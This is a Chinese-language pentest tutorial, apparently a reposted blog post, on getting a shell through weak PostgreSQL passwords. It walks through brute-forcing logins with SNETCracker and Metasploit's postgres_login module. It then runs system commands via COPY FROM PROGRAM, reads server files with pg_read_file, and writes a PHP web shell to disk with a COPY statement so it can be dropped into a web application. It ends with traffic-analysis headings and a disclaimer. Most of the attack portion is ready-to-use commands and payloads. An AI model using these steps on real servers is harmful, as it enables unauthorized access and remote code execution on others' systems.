PostgreSQL弱口令getshell


postgreSQL簡介

postgreSQL數據庫介紹

  • 數據庫端口5432

file

  • 數據庫連接成功常用數據庫查詢命令
命令行客戶端操作pg數據庫常用操作
1.鏈接數據庫

$psql -U user_name -d database_name -h serverhost

2.命令常用操作

\h	#查看所有的sql關鍵字
\? 	#命令行操作的幫助
\d 	#查看當前schema 中所有的表
\q	#退出pg命令行
\d	#schema.table 查看表的結構
\x	#橫縱顯示切換 
\dT+	#顯示擴展類型相關屬性及描述
\dx	#顯示已安裝的擴展插件
\l	#列出所有的數據庫
\! hostname	#列出當前的主機名
\timing	#顯示執行時間
\c database_name	#切換數據庫
set search to schema	#切換schema
explain analyze sql	#解釋或分析sql執行過程

postgreSQL數據庫滲透思路

1.postgreSQL數據庫暴力猜解
猜解成功后可進行的操作
- 可對數據庫進行操作(增、刪、改、查)
- 可通過數據庫函數執行系統命令
2.postgreSQL注入

postgreSQL暴力猜解

snetcracker工具進行爆破

file

msf爆破

use auxiliary/scanner/postgres/postgres_login
set rhosts 目標IP
run

file

file

postgreSQL數據庫鏈接,命令執行

命令行連接

postgres-#的意思是:你當前的命令輸入還不完整。

postgres=#的意思是:當前沒有輸入新的命令

psql -h 192.168.2.115  -U postgres -W       

file

file

  • 滲透常用命令總結
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
//執行系統命令

file

file

命令總結

\l
//列出數據庫
\du
//列出數據庫的用戶
select pg_ls_dir('./');
//不能是絕對路徑
select pg_read_file('postgresql.auto.conf', 0, 200);
//讀取系統文件:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
//使用數據庫獲取系統信息

getshell-1

drop table pwn;
create table pwn (t TEXT);
insert into pwn(t) values ('<?php @system("$_GET[cmd]");?>');
select * from pwn;
copy pwn(t) to  '/tmp/cmd.php';
drop table pwn;
//使用數據庫寫文件
copy  (select '<?php phpinfo();?>') to '/tmp/1.php';

成功寫入文件,一般目標都會部署web應用,把webshell寫道web應用中可getshell
file

getshell-2

csdn-PostgreSQL入門及提權

流量分析

口令爆破流量

file

命令執行流量

file

file


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM